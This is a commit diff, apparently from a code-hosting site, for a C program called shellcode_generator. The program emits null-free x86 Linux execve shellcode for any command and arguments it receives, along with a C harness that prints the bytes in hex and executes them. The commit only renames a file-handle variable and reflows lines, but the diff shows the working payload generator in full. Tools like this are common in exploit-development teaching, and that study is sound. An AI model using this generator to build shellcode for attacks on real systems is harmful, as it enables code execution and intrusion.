2
2
#include <stdlib.h>
3
3
#include <string.h>
4
4
5
- void setup_pointer_array (FILE * f , int size );
6
- void push_string (FILE * f , char * string );
5
+ void setup_pointer_array (FILE * output , int size );
6
+ void push_string (FILE * output , char * string );
7
7
8
8
int main (int argc , char * argv []) {
9
9
if (argc > 1 ) {
10
- FILE * f = fopen ("output.c" , "we" );
10
+ FILE * output = fopen ("output.c" , "we" );
11
11
// write to the file the C imports and setup the char* container
12
- fprintf (f ,
12
+ fprintf (output ,
13
13
"#include <string.h>\n#include <stdio.h>\n#include "
14
14
"<unistd.h>\nvoid printHex(const char *s);\n\n//Assemlbly comments "
15
15
"in NASM syntax.\nchar *shellcode=\"\\x31\\xc0\" //xor eax, eax\n" );
16
16
17
17
// push first arg(the command) onto the stack
18
- push_string (f , argv [1 ]);
18
+ push_string (output , argv [1 ]);
19
19
20
20
// push current stack point into ebx, aka pointer to argv[1]
21
- fprintf (f , "\"\\x89\\xe3\" //mov ebx, esp\n" );
21
+ fprintf (output , "\"\\x89\\xe3\" //mov ebx, esp\n" );
22
22
23
23
// setup array which will contain pointers to the other args on the stack
24
- setup_pointer_array (f , (argc - 1 ));
24
+ setup_pointer_array (output , (argc - 1 ));
25
25
26
26
// push each arg of the desired command onto stack, get the addr and then
27
27
// insert the addr into the argv[] array
28
28
for (int i = 2 ; i < argc ; i ++ ) {
29
- push_string (f , argv [i ]);
29
+ push_string (output , argv [i ]);
30
30
// get the addr of the current string just pushed onto stack and then move
31
31
// the addr onto the argv[] array
32
- fprintf (f ,
32
+ fprintf (output ,
33
33
"\"\\x89\\xe2\" //mov edx, esp\n\"\\x89\\x51\\x%x\" //mov "
34
34
"[ecx+%d], edx\n" ,
35
35
((i - 1 ) * 4 ), ((i - 1 ) * 4 ));
@@ -39,34 +39,35 @@ int main(int argc, char *argv[]) {
39
39
// push execve sys call number(11) into eax, and call sys interupt to
40
40
// execute execve write to file C code function to call the opcode shellcode
41
41
// char* output
42
- fprintf (f , "\"\\x50\" //push eax\n\"\\x89\\xe2\" //mov edx, "
43
- "esp\n\"\\xb0\\x0b\" //mov al, 11\n\"\\xcd\\x80\"; //int "
44
- "$0x80\n\nint main() {\n printHex(shellcode);\n printf(\"%%d "
45
- "Bytes.\\n\",strlen(shellcode));\n int (*ret)() = "
46
- "(int(*)())shellcode;\n ret();\n}\n\nvoid printHex(const char "
47
- "*s) {\n while (*s)\n printf(\"\\\\x%%02x\", (unsigned int) "
48
- "*s++ & 0xff);\n printf(\"\\n\");\n}\n" );
49
- fclose (f );
42
+ fprintf (output ,
43
+ "\"\\x50\" //push eax\n\"\\x89\\xe2\" //mov edx, "
44
+ "esp\n\"\\xb0\\x0b\" //mov al, 11\n\"\\xcd\\x80\"; //int "
45
+ "$0x80\n\nint main() {\n printHex(shellcode);\n printf(\"%%d "
46
+ "Bytes.\\n\",strlen(shellcode));\n int (*ret)() = "
47
+ "(int(*)())shellcode;\n ret();\n}\n\nvoid printHex(const char "
48
+ "*s) {\n while (*s)\n printf(\"\\\\x%%02x\", (unsigned int) "
49
+ "*s++ & 0xff);\n printf(\"\\n\");\n}\n" );
50
+ fclose (output );
50
51
} else {
51
52
printf ("Usage: ./shellcode_generator.out <desired command> "
52
53
"<(OPTIONAL)desired args>... \n" );
53
54
}
54
55
}
55
56
56
- void setup_pointer_array (FILE * f , int size ) {
57
+ void setup_pointer_array (FILE * output , int size ) {
57
58
// push null pointer arguement, as they will be elements in the array, the
58
59
// null pointers will be overwritten later with the elements addr after we
59
60
// know it from pushing them onto the stack extra null pointer at the end to
60
61
// show the end of the array
61
62
for (int i = 0 ; i < size ; i ++ ) {
62
- fprintf (f , "\"\\x50\" //push eax\n" );
63
+ fprintf (output , "\"\\x50\" //push eax\n" );
63
64
}
64
65
// push ebx onto the end of the array; as it is the first element of the array
65
66
// and then save the addr of the array into ecx
66
- fprintf (f , "\"\\x53\" //push ebx\n\"\\x89\\xe1\" //mov ecx, esp\n" );
67
+ fprintf (output , "\"\\x53\" //push ebx\n\"\\x89\\xe1\" //mov ecx, esp\n" );
67
68
}
68
69
69
- void push_string (FILE * f , char * string ) {
70
+ void push_string (FILE * output , char * string ) {
70
71
// push hex of each char of the string in reverse order
71
72
unsigned long left = strlen (string );
72
73
@@ -78,30 +79,31 @@ void push_string(FILE *f, char *string) {
78
79
if (left % 2 != 0 ) {
79
80
// cheaty assembly to push 1 byte without a null byte but with a 00
80
81
// terminator load char into ax reg
81
- fprintf (f , "\"\\xb0\\x%x\" //movb al, '%c'\n" , string [left - 1 ],
82
+ fprintf (output , "\"\\xb0\\x%x\" //movb al, '%c'\n" , string [left - 1 ],
82
83
string [left - 1 ]);
83
84
// push ax, xor eax
84
- fprintf (f , "\"\\x50\" //push eax\n\"\\x31\\xc0\" //xor eax, eax\n" );
85
+ fprintf (output , "\"\\x50\" //push eax\n\"\\x31\\xc0\" //xor eax, eax\n" );
85
86
left = left - 1 ;
86
87
pushEAX = 0 ;
87
88
}
88
89
// push 2 bytes
89
90
if (left % 4 == 2 ) {
90
91
// only need the push eax for the null if didnt push 1 byte
91
92
if (pushEAX ) {
92
- fprintf (f , "\"\\x50\" //push eax\n" );
93
+ fprintf (output , "\"\\x50\" //push eax\n" );
93
94
}
94
- fprintf (f , "\"\\x66\\x68\\x%x\\x%x\" //pushw '%c%c'\n" , string [left - 2 ],
95
- string [left - 1 ], string [left - 2 ], string [left - 1 ]);
95
+ fprintf (output , "\"\\x66\\x68\\x%x\\x%x\" //pushw '%c%c'\n" ,
96
+ string [left - 2 ], string [left - 1 ], string [left - 2 ],
97
+ string [left - 1 ]);
96
98
left = left - 2 ;
97
99
}
98
100
} else { // not needed as pushing the 1 char has a 00 terminator
99
101
// push eax for null byte to show end of string
100
- fprintf (f , "\"\\x50\" //push eax\n" );
102
+ fprintf (output , "\"\\x50\" //push eax\n" );
101
103
}
102
104
103
105
while (left / 4 > 0 ) {
104
- fprintf (f , "\"\\x68\\x%x\\x%x\\x%x\\x%x\" //push '%c%c%c%c'\n" ,
106
+ fprintf (output , "\"\\x68\\x%x\\x%x\\x%x\\x%x\" //push '%c%c%c%c'\n" ,
105
107
string [left - 4 ], string [left - 3 ], string [left - 2 ],
106
108
string [left - 1 ], string [left - 4 ], string [left - 3 ],
107
109
string [left - 2 ], string [left - 1 ]);
0 commit comments